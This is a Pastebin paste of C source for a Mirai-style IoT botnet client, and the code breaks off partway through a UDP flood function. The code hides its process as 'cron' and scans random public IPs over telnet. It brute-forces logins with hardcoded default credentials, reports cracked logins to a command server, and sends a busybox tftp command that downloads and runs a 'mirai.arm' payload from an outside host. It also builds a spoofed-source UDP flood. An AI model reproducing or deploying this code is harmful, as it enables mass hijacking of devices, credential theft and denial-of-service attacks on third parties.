Advertisement
wtfbbq

client.c

Sep 7th, 2017
2,182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 37.50 KB | None | 0 0
  1. //ip generator has been updated to exclude military/gov ranges
  2. //hidden process is named "cron"
  3. //bruted credentials are successfully reported
  4.  
  5. #include <stdlib.h>
  6. #include <stdarg.h>
  7. #include <stdio.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12. #include <netdb.h>
  13. #include <signal.h>
  14. #include <strings.h>
  15. #include <string.h>
  16. #include <sys/utsname.h>
  17. #include <unistd.h>
  18. #include <fcntl.h>
  19. #include <errno.h>
  20. #include <netinet/ip.h>
  21. #include <netinet/udp.h>
  22. #include <netinet/tcp.h>
  23. #include <sys/wait.h>
  24. #include <sys/ioctl.h>
  25. #include <net/if.h>
  26. #define PR_SET_NAME 15
  27. #define PAD_RIGHT 1
  28. #define PAD_ZERO 2
  29. #define PRINT_BUF_LEN 12
  30. #define CMD_IAC   255
  31. #define CMD_WILL  251
  32. #define CMD_WONT  252
  33. #define CMD_DO    253
  34. #define CMD_DONT  254
  35. #define OPT_SGA   3
  36. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  37. unsigned char *commServer[] = {"1.2.3.4"}; //you must change bot port down below.
  38. int initConnection();
  39. void makeRandomStr(unsigned char *buf, int length);
  40. int sockprintf(int sock, char *formatStr, ...);
  41. char *inet_ntoa(struct in_addr in);
  42. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  43. uint32_t *pids;
  44. uint32_t scanPid;
  45. uint64_t numpids = 0;
  46. struct in_addr ourIP;
  47. unsigned char macAddress[6] = {0};
  48. char *usernames[] = {"root\0", "support\0", "telnet\0", "admin\0", "support\0", "user\0", "guest\0", "admin1\0", "administrator\0", "Administrator\0", "666666\0", "888888\0", "ubnt\0", "tech\0", "mother\0", "service\0", "supervisor\0", "mg3500\0", "daemon\0", "default\0", "operator\0"};
  49. char *passwords[] = {"\0", "xc3511\0", "telnet\0", "support\0", "vizxv\0", "admin\0", "888888\0", "xmhdipc\0", "default\0", "juantech\0", "123456\0", "54321\0", "support\0", "root\0", "12345\0", "user\0", "pass\0", "admin1234\0", "1111\0", "smcadmin\0", "1234\0", "666666\0", "password\0", "klv123\0", "service\0", "supervisor\0", "ubnt\0", "klv1234\0", "Zte521\0", "hi3518\0", "jvbzd\0", "anko\0", "zlxx.\0", "7ujMko0vizxv\0", "7ujMko0admin\0", "system\0", "ikwb\0", "dreambox\0", "realtek\0", "00000000\0", "1111111\0", "meinsm\0", "fucker\0", "merlin\0", "aquario\0", "1001chin\0", "zsun1188\0", "GM8182\0"};
  50. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};
  51. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  52. char* successes[] = {"BusyBox", "built-in", "inux", "shell", "help", "commands", "$", "~", ">", "/", "#", (char*)0};
  53. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  54. char* tmpdirs[] = {"/tmp/", "/var/tmp/", "/bin/", "/dev/", (char*) 0};
  55. #define PHI 0x9e3779b9
  56. static uint32_t Q[4096], c = 362436;
  57. void init_rand(uint32_t x)
  58. {
  59.         int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  60. }
  61. uint32_t rand_cmwc(void)
  62. {
  63.         uint64_t t, a = 18782LL;
  64.         static uint32_t i = 4095;
  65.         uint32_t x, r = 0xfffffffe;
  66.         i = (i + 1) & 4095; t = a * Q[i] + c; c = (uint32_t)(t >> 32); x = t + c;
  67.         if (x < c) { x++; c++; }
  68.         return (Q[i] = r - x); }
  69. int contains_string(char* buffer, char** strings)
  70. {
  71.         int num_strings = 0, i = 0; for(num_strings = 0; strings[++num_strings] != 0; );
  72.         for(i = 0; i < num_strings; i++) { if(strcasestr(buffer, strings[i])) { return 1; } }
  73.         return 0; }
  74. struct telstate_t {
  75.         int fd; unsigned int ip; unsigned char state; unsigned char complete; unsigned char usernameInd;
  76.         unsigned char passwordInd; unsigned char tempDirInd; unsigned int totalTimeout; unsigned short bufUsed;
  77.         char *sockbuf;
  78. };
  79. int contains_success(char* buffer)
  80. {
  81.         return contains_string(buffer, successes);
  82. }
  83. int contains_fail(char* buffer)
  84. {
  85.         return contains_string(buffer, fails);
  86. }
  87. int contains_response(char* buffer)
  88. {
  89.         return contains_success(buffer) || contains_fail(buffer);
  90. }
  91. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  92. {      
  93.         fd_set read_set; struct timeval tv;
  94.         tv.tv_sec = 0; tv.tv_usec = timeout_usec; FD_ZERO(&read_set); FD_SET(fd, &read_set);
  95.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  96.         return 0; return recv(fd, buffer, buf_size, 0);
  97. }
  98. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  99. {
  100.         int num_bytes, i;
  101.         memset(buffer, 0, buf_size); num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  102.         if(buffer[0] == 0xFF) { negotiate(fd, buffer, 3); }
  103.         if(contains_string(buffer, strings)) { return 1; }
  104.         return 0;
  105. }
  106. const char* get_telstate_host(struct telstate_t* telstate)
  107. {
  108.         struct in_addr in_addr_ip;  in_addr_ip.s_addr = telstate->ip;
  109.         return inet_ntoa(in_addr_ip);
  110. }
  111. void advance_state(struct telstate_t* telstate, int new_state)
  112. {
  113.         if(new_state == 0)  { close(telstate->fd); }
  114.         telstate->totalTimeout = 0; telstate->state = new_state; memset((telstate->sockbuf), 0, 2048);
  115. }
  116. void reset_telstate(struct telstate_t* telstate)
  117. {
  118.         advance_state(telstate, 0); telstate->complete = 1;
  119. }
  120. void trim(char *str)
  121. {
  122.         int i; int begin = 0; int end = strlen(str) - 1;
  123.         while (isspace(str[begin])) begin++;
  124.         while ((end >= begin) && isspace(str[end])) end--;
  125.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  126.         str[i - begin] = '\0';
  127. }
  128. static void printchar(unsigned char **str, int c)
  129. {
  130.         if (str) { **str = c; ++(*str); }
  131.         else (void)write(1, &c, 1);
  132. }
  133. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  134. {
  135.         register int pc = 0, padchar = ' ';  if (width > 0) { register int len = 0;
  136.         register const unsigned char *ptr;
  137.         for (ptr = string; *ptr; ++ptr) ++len;
  138.         if (len >= width) width = 0; else width -= len;
  139.         if (pad & PAD_ZERO) padchar = '0'; }
  140.         if (!(pad & PAD_RIGHT)) {
  141.         for ( ; width > 0; --width) { printchar (out, padchar); ++pc; } }
  142.         for ( ; *string ; ++string) { printchar (out, *string); ++pc; }
  143.         for ( ; width > 0; --width) { printchar (out, padchar); ++pc; }
  144.         return pc;
  145. }
  146. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  147. {
  148.         unsigned char print_buf[PRINT_BUF_LEN];
  149.         register unsigned char *s;
  150.         register int t, neg = 0, pc = 0;
  151.         register unsigned int u = i; if (i == 0) {
  152.         print_buf[0] = '0'; print_buf[1] = '\0';
  153.         return prints (out, print_buf, width, pad); }
  154.         if (sg && b == 10 && i < 0) { neg = 1; u = -i;  }
  155.         s = print_buf + PRINT_BUF_LEN-1; *s = '\0';
  156.         while (u) { t = u % b; if( t >= 10 )
  157.         t += letbase - '0' - 10; *--s = t + '0'; u /= b; }
  158.         if (neg) { if( width && (pad & PAD_ZERO) ) { printchar (out, '-'); ++pc; --width; }
  159.         else { *--s = '-'; } }
  160.         return pc + prints (out, s, width, pad);
  161. }
  162. static int print(unsigned char **out, const unsigned char *format, va_list args )
  163. {
  164.         register int width, pad; register int pc = 0; unsigned char scr[2];
  165.         for (; *format != 0; ++format) { if (*format == '%') { ++format; width = pad = 0;
  166.         if (*format == '\0') break;
  167.         if (*format == '%') goto out;
  168.         if (*format == '-') { ++format; pad = PAD_RIGHT; }
  169.         while (*format == '0') { ++format; pad |= PAD_ZERO; }
  170.         for ( ; *format >= '0' && *format <= '9'; ++format) {
  171.         width *= 10; width += *format - '0'; }
  172.         if( *format == 's' ) { register char *s = (char *)va_arg( args, int );
  173.         pc += prints (out, s?s:"(null)", width, pad); continue; }
  174.         if( *format == 'd' ) { pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); continue; }
  175.         if( *format == 'x' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); continue; }
  176.         if( *format == 'X' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); continue; }
  177.         if( *format == 'u' ) { pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); continue; }
  178.         if( *format == 'c' ) { scr[0] = (unsigned char)va_arg( args, int ); scr[1] = '\0';
  179.         pc += prints (out, scr, width, pad); continue;  } }
  180.         else { out: printchar (out, *format); ++pc; } }
  181.         if (out) **out = '\0'; va_end( args ); return pc;
  182. }
  183. int zprintf(const unsigned char *format, ...)
  184. {
  185.         va_list args;
  186.         va_start( args, format );
  187.         return print( 0, format, args );
  188. }
  189. int szprintf(unsigned char *out, const unsigned char *format, ...)
  190. {
  191.         va_list args;
  192.         va_start( args, format );
  193.         return print( &out, format, args );
  194. }
  195. int sockprintf(int sock, char *formatStr, ...)
  196. {
  197.         unsigned char *textBuffer = malloc(2048);
  198.         memset(textBuffer, 0, 2048); char *orig = textBuffer; va_list args;  va_start(args, formatStr);
  199.         print(&textBuffer, formatStr, args); va_end(args); orig[strlen(orig)] = '\n';
  200.         //zprintf("buf: %s\n", orig);
  201.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL); free(orig); return q;
  202. }
  203. static int *fdopen_pids;
  204. int fdpopen(unsigned char *program, register unsigned char *type)
  205. {
  206.         register int iop; int pdes[2], fds, pid;
  207.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  208.         if (pipe(pdes) < 0) return -1;
  209.         if (fdopen_pids == NULL) {
  210.         if ((fds = getdtablesize()) <= 0) return -1;
  211.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  212.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int)); }
  213.         switch (pid = vfork()) { case -1: close(pdes[0]); close(pdes[1]); return -1; case 0:
  214.         if (*type == 'r') { if (pdes[1] != 1) { dup2(pdes[1], 1);  close(pdes[1]); } close(pdes[0]);  } else {
  215.         if (pdes[0] != 0) { (void) dup2(pdes[0], 0); (void) close(pdes[0]); }
  216.         (void) close(pdes[1]); }
  217.         execl("/bin/sh", "sh", "-c", program, NULL); _exit(127); }
  218.         if (*type == 'r') {  iop = pdes[0]; (void) close(pdes[1]);
  219.         } else { iop = pdes[1]; (void) close(pdes[0]); }
  220.         fdopen_pids[iop] = pid; return (iop);
  221. }
  222. int fdpclose(int iop)
  223. {
  224.         register int fdes; sigset_t omask, nmask; int pstat; register int pid;
  225.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  226.         (void) close(iop);  sigemptyset(&nmask);
  227.         sigaddset(&nmask, SIGINT);
  228.         sigaddset(&nmask, SIGQUIT);
  229.         sigaddset(&nmask, SIGHUP);
  230.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  231.         do { pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0); }
  232.         while (pid == -1 && errno == EINTR);
  233.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  234.         fdopen_pids[fdes] = 0; return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  235. }
  236. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  237. {
  238.         int got = 1, total = 0;
  239.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  240.         return got == 0 ? NULL : buffer;
  241. }
  242. static const long hextable[] = {
  243.         [0 ... 255] = -1,
  244.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  245.         ['A'] = 10, 11, 12, 13, 14, 15,
  246.         ['a'] = 10, 11, 12, 13, 14, 15
  247. };
  248. long parseHex(unsigned char *hex)
  249. {
  250.         long ret = 0;
  251.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  252.         return ret;
  253. }
  254. int wildString(const unsigned char* pattern, const unsigned char* string) {
  255.         switch(*pattern) {
  256.         case '\0': return *string;
  257.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  258.         case '?': return !(*string && !wildString(pattern+1, string+1));
  259.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1)); }
  260. }
  261. int getHost(unsigned char *toGet, struct in_addr *i)
  262. {
  263.         struct hostent *h;
  264.         if((i->s_addr = inet_addr(toGet)) == -1) return 1; return 0;
  265. }
  266. void uppercase(unsigned char *str)
  267. {
  268.         while(*str) { *str = toupper(*str); str++; }
  269. }
  270. void makeRandomStr(unsigned char *buf, int length)
  271. {
  272.         int i = 0;
  273.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  274. }
  275. int recvLine(int socket, unsigned char *buf, int bufsize)
  276. {
  277.         memset(buf, 0, bufsize);
  278.         fd_set myset;
  279.         struct timeval tv;
  280.         tv.tv_sec = 30;
  281.         tv.tv_usec = 0;
  282.         FD_ZERO(&myset);
  283.         FD_SET(socket, &myset);
  284.         int selectRtn, retryCount;
  285.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  286.         while(retryCount < 10) {
  287.         tv.tv_sec = 30; tv.tv_usec = 0; FD_ZERO(&myset); FD_SET(socket, &myset);
  288.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  289.         retryCount++; continue; } break; } }
  290.         unsigned char tmpchr;
  291.         unsigned char *cp; int count = 0; cp = buf;
  292.         while(bufsize-- > 1) { if(recv(mainCommSock, &tmpchr, 1, 0) != 1) { *cp = 0x00; return -1; }
  293.         *cp++ = tmpchr; if(tmpchr == '\n') break; count++; }
  294.         *cp = 0x00; return count;
  295. }
  296. int connectTimeout(int fd, char *host, int port, int timeout)
  297. {
  298.         struct sockaddr_in dest_addr;
  299.         fd_set myset; struct timeval tv;
  300.         socklen_t lon; int valopt;
  301.         long arg = fcntl(fd, F_GETFL, NULL);
  302.         arg |= O_NONBLOCK; fcntl(fd, F_SETFL, arg);
  303.         dest_addr.sin_family = AF_INET;
  304.         dest_addr.sin_port = htons(port);
  305.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  306.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  307.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  308.         if (res < 0) { if (errno == EINPROGRESS) { tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&myset);
  309.         FD_SET(fd, &myset); if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  310.         lon = sizeof(int);  getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  311.         if (valopt) return 0; } else return 0; }  else return 0; }
  312.         arg = fcntl(fd, F_GETFL, NULL); arg &= (~O_NONBLOCK); fcntl(fd, F_SETFL, arg); return 1;
  313. }
  314. int listFork()
  315. {
  316.         uint32_t parent, *newpids, i; parent = fork();
  317.         if (parent <= 0) return parent; numpids++;
  318.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  319.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  320.         newpids[numpids - 1] = parent; free(pids); pids = newpids; return parent;
  321. }
  322. int negotiate(int sock, unsigned char *buf, int len)
  323. {
  324.         unsigned char c; switch (buf[1]) { case CMD_IAC: return 0;
  325.         case CMD_WILL:
  326.         case CMD_WONT:
  327.         case CMD_DO:
  328.         case CMD_DONT:
  329.         c = CMD_IAC; send(sock, &c, 1, MSG_NOSIGNAL);
  330.         if (CMD_WONT == buf[1]) c = CMD_DONT;
  331.         else if (CMD_DONT == buf[1]) c = CMD_WONT;
  332.         else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  333.         else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  334.         send(sock, &c, 1, MSG_NOSIGNAL); send(sock, &(buf[2]), 1, MSG_NOSIGNAL); break; default: break; }
  335.         return 0;
  336. }
  337. int matchPrompt(char *bufStr)
  338. {
  339.         char *prompts = ":>%$#\0";
  340.         int bufLen = strlen(bufStr); int i, q = 0;
  341.         for(i = 0; i < strlen(prompts); i++) {
  342.         while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  343.         if(*(bufStr + bufLen - q) == prompts[i]) return 1; }
  344.         return 0;
  345. }
  346. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  347. {
  348.         int bufferUsed = initialIndex, got = 0, found = 0;
  349.         fd_set myset; struct timeval tv;
  350.         tv.tv_sec = timeout;  tv.tv_usec = timeoutusec;
  351.         unsigned char *initialRead = NULL;
  352.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {
  353.         FD_ZERO(&myset); FD_SET(fd, &myset);
  354.         if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  355.         initialRead = buffer + bufferUsed;
  356.         got = recv(fd, initialRead, 1, 0);
  357.         if(got == -1 || got == 0) return 0; bufferUsed += got;
  358.         if(*initialRead == 0xFF) { got = recv(fd, initialRead + 1, 2, 0); if(got == -1 || got == 0) return 0;
  359.         bufferUsed += got; if(!negotiate(fd, initialRead, 3)) return 0; } else {
  360.         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; } } }
  361.         if(found) return 1;
  362.         return 0;
  363. }
  364. in_addr_t getRandomPublicIP()
  365. {
  366.         uint8_t ipState[4] = {0};
  367.         ipState[0] = rand() % 255;
  368.         ipState[1] = rand() % 255;
  369.         ipState[2] = rand() % 255;
  370.         ipState[3] = rand() % 255;
  371.         while(
  372.                 (ipState[0] == 0) ||
  373.                 (ipState[0] == 3) ||
  374.                 (ipState[0] == 6) ||
  375.                 (ipState[0] == 7) ||
  376.                 (ipState[0] == 10) ||
  377.                 (ipState[0] == 11) ||
  378.                 (ipState[0] == 21) ||
  379.                 (ipState[0] == 22) ||
  380.                 (ipState[0] == 26) ||
  381.                 (ipState[0] == 28) ||
  382.                 (ipState[0] == 29) ||
  383.                 (ipState[0] == 30) ||
  384.                 (ipState[0] == 33) ||
  385.                 (ipState[0] == 55) ||
  386.                 (ipState[0] == 56) ||
  387.                 (ipState[0] == 214) ||
  388.                 (ipState[0] == 215) ||
  389.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  390.                 (ipState[0] == 127) ||
  391.                 (ipState[0] == 169 && ipState[1] == 254) ||
  392.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 32)) ||
  393.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  394.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  395.                 (ipState[0] == 192 && ipState[1] == 168) ||
  396.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 20)) ||
  397.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  398.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  399.                 (ipState[0] >= 224)
  400.         )
  401.         {
  402.                 ipState[0] = rand() % 255;
  403.                 ipState[1] = rand() % 255;
  404.                 ipState[2] = rand() % 255;
  405.                 ipState[3] = rand() % 255;
  406.         }
  407.         char ip[16] = {0};
  408.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  409.         return inet_addr(ip);
  410. }
  411. in_addr_t getRandomIP(in_addr_t netmask)
  412. {
  413.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  414.         return tmp ^ ( rand_cmwc() & ~netmask);
  415. }
  416. unsigned short csum (unsigned short *buf, int count)
  417. {
  418.         register uint64_t sum = 0;
  419.         while( count > 1 ) { sum += *buf++; count -= 2; }
  420.         if(count > 0) { sum += *(unsigned char *)buf; }
  421.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  422.         return (uint16_t)(~sum);
  423. }
  424. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  425. {
  426.         struct tcp_pseudo {
  427.         unsigned long src_addr;
  428.         unsigned long dst_addr;
  429.         unsigned char zero;
  430.         unsigned char proto;
  431.         unsigned short length;
  432.         } pseudohead;
  433.         unsigned short total_len = iph->tot_len;
  434.         pseudohead.src_addr=iph->saddr;
  435.         pseudohead.dst_addr=iph->daddr;
  436.         pseudohead.zero=0;
  437.         pseudohead.proto=IPPROTO_TCP;
  438.         pseudohead.length=htons(sizeof(struct tcphdr));
  439.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  440.         unsigned short *tcp = malloc(totaltcp_len);
  441.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  442.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  443.         unsigned short output = csum(tcp,totaltcp_len);
  444.         free(tcp);
  445.         return output;
  446. }
  447. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  448. {
  449.         iph->ihl = 5;
  450.         iph->version = 4;
  451.         iph->tos = 0;
  452.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  453.         iph->id = rand_cmwc();
  454.         iph->frag_off = 0;
  455.         iph->ttl = MAXTTL;
  456.         iph->protocol = protocol;
  457.         iph->check = 0;
  458.         iph->saddr = source;
  459.         iph->daddr = dest;
  460. }
  461. int sclose(int fd)
  462. {
  463.         if(3 > fd) return 1;
  464.         close(fd);
  465.         return 0;
  466. }
  467. void htp(int wait_usec, int maxfds) {
  468.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  469.         char buf[128], cur_dir; if (max > maxfds)
  470.         max = maxfds; fd_set fdset; struct timeval tv;  socklen_t lon;
  471.         int valopt; char line[256]; char* buffer;
  472.         struct sockaddr_in dest_addr;
  473.         dest_addr.sin_family = AF_INET;
  474.         dest_addr.sin_port = htons(23);
  475.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  476.         buffer = malloc(2048 + 1); memset(buffer, 0, 2048 + 1);
  477.         struct telstate_t fds[max]; memset(fds, 0, max * (sizeof(int) + 1));
  478.         for(i = 0; i < max; i++) { memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].complete = 1; fds[i].sockbuf = buffer; }
  479.         for(num_tmps = 0; tmpdirs[++num_tmps] != 0; ); while(1) { for(i = 0; i < max; i++) { if(fds[i].totalTimeout == 0) {
  480.         fds[i].totalTimeout = time(NULL); } switch(fds[i].state) { case 0: { if(fds[i].complete == 1) { char *tmp = fds[i].sockbuf;
  481.         memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  482.         else if(fds[i].complete == 0) { fds[i].passwordInd++; if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  483.         fds[i].passwordInd = 0; fds[i].usernameInd++; }
  484.         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; } }
  485.         dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(23);
  486.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); dest_addr.sin_addr.s_addr = fds[i].ip;
  487.         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); if(fds[i].fd == -1) continue;
  488.         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  489.         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  490.         reset_telstate(&fds[i]); } else { advance_state(&fds[i], 1); } }
  491.         break; case 1: { FD_ZERO(&fdset); FD_SET(fds[i].fd, &fdset); tv.tv_sec = 0;
  492.         tv.tv_usec = wait_usec; res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv); if(res == 1) {
  493.         lon = sizeof(int); valopt = 0; getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  494.         if(valopt) { reset_telstate(&fds[i]); } else { fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  495.         advance_state(&fds[i], 2); } continue; } else if(res == -1) { reset_telstate(&fds[i]); continue; }
  496.         if(fds[i].totalTimeout + 6 < time(NULL)) { reset_telstate(&fds[i]); } }
  497.         break; case 2: { if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 2048, advances)) {
  498.         if(contains_fail(fds[i].sockbuf)) { advance_state(&fds[i], 0); } else { advance_state(&fds[i], 3); }           
  499.         continue; } if(fds[i].totalTimeout + 6 < time(NULL)) { reset_telstate(&fds[i]); } }
  500.         break; case 3: { if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  501.         reset_telstate(&fds[i]); continue; } if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]); continue; }   
  502.         advance_state(&fds[i], 4); }
  503.         break; case 4: { if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 2048, advances)) {
  504.         if(contains_fail(fds[i].sockbuf)) { advance_state(&fds[i], 0); } else { advance_state(&fds[i], 5); } continue; }
  505.         if(fds[i].totalTimeout + 6 < time(NULL)) { reset_telstate(&fds[i]); } }
  506.         break; case 5: { if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  507.         reset_telstate(&fds[i]); continue; }   
  508.         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]); continue; }
  509.         advance_state(&fds[i], 6); }
  510.         break; case 6: { if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 2048, advances2)) { fds[i].totalTimeout = 0;
  511.         if(contains_fail(fds[i].sockbuf)) { advance_state(&fds[i], 0);} else if(contains_success(fds[i].sockbuf)) {
  512.         if(fds[i].complete == 2) { advance_state(&fds[i], 7); } else {
  513.         sockprintf(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  514.         advance_state(&fds[i], 7); } } else { reset_telstate(&fds[i]); } continue; }
  515.         if(fds[i].totalTimeout + 7 < time(NULL)) { reset_telstate(&fds[i]); } }
  516.         break; case 7: {
  517.         if(send(fds[i].fd, "/bin/busybox tftp -g -l dvrHelper -r mirai.arm 1.2.3.4; /bin/busybox chmod +x dvrHelper; ./dvrHelper\r\n", 100, MSG_NOSIGNAL) < 0) {
  518.         reset_telstate(&fds[i]);
  519.         continue; } if(fds[i].totalTimeout + 10 < time(NULL)) { reset_telstate(&fds[i]); }
  520.         break; } } } } }
  521. void asd(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  522. {
  523.         struct sockaddr_in dest_addr;
  524.         dest_addr.sin_family = AF_INET;
  525.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  526.         else dest_addr.sin_port = htons(port);
  527.         if(getHost(target, &dest_addr.sin_addr)) return;
  528.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  529.         register unsigned int pollRegister;
  530.         pollRegister = pollinterval;
  531.         if(spoofit == 32) { int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(!sockfd) { return; }
  532.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  533.         if(buf == NULL) return; memset(buf, 0, packetsize + 1);
  534.         makeRandomStr(buf, packetsize); int end = time(NULL) + timeEnd;
  535.         register unsigned int i = 0; while(1) {
  536.         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  537.         if(i == pollRegister) { if(port == 0) dest_addr.sin_port = rand_cmwc(); if(time(NULL) > end) break; i = 0; continue; }
  538.         i++; }
  539.         } else { int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  540.         if(!sockfd)  { return; }
  541.         int tmp = 1;
  542.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  543.         int counter = 50;
  544.         while(counter--) { srand(time(NULL) ^ rand_cmwc()); init_rand(rand()); }
  545.         in_addr_t netmask;
  546.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  547.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  548.         struct iphdr *iph = (struct iphdr *)packet;
  549.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  550.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  551.         udph->len = htons(sizeof(struct udphdr) + packetsize);
